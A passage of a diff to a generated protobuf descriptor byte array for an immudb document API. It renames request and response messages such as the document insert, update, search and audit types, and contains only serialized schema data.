0x24, 0x0a, - 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x64, 0x22, 0x72, 0x0a, 0x19, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x09, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x64, 0x0a, 0x1a, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, - 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, - 0x52, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, 0x77, 0x0a, - 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, - 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x7a, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, - 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, - 0x6f, 0x6e, 0x22, 0x8e, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, - 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, - 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, - 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, - 0x69, 0x7a, 0x65, 0x22, 0x9f, 0x01, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x0a, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3f, 0x0a, - 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x35, - 0x0a, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, - 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x52, 0x07, 0x6f, 0x72, - 0x64, 0x65, 0x72, 0x42, 0x79, 0x22, 0x5c, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, - 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, - 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, - 0x6e, 0x52, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, - 0x6f, 0x6e, 0x73, 0x22, 0x93, 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, - 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, - 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, - 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, - 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x39, 0x0a, 0x0d, 0x4f, 0x72, 0x64, - 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, - 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, - 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, - 0x64, 0x65, 0x73, 0x63, 0x22, 0x74, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, - 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, - 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xc7, 0x01, 0x0a, 0x12, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x0a, 0x13, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x6f, 0x0a, 0x16, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x61, 0x0a, 0x17, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, - 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, - 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, - 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x2c, 0x0a, 0x10, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x64, 0x22, 0x9a, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, - 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, - 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, - 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, - 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, - 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, - 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, 0x77, 0x0a, 0x15, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x33, 0x0a, + 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x22, 0x7a, 0x0a, 0x16, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, + 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x8f, + 0x01, 0x0a, 0x16, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, + 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, + 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, + 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, + 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, + 0x22, 0x9f, 0x01, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x65, 0x78, + 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x0b, + 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x6f, + 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x72, 0x64, 0x65, + 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x52, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, + 0x42, 0x79, 0x22, 0x5c, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, + 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, + 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, + 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, + 0x22, 0x93, 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, + 0x69, 0x73, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, + 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, + 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, + 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x39, 0x0a, 0x0d, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, + 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, + 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, + 0x63, 0x22, 0x75, 0x0a, 0x17, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 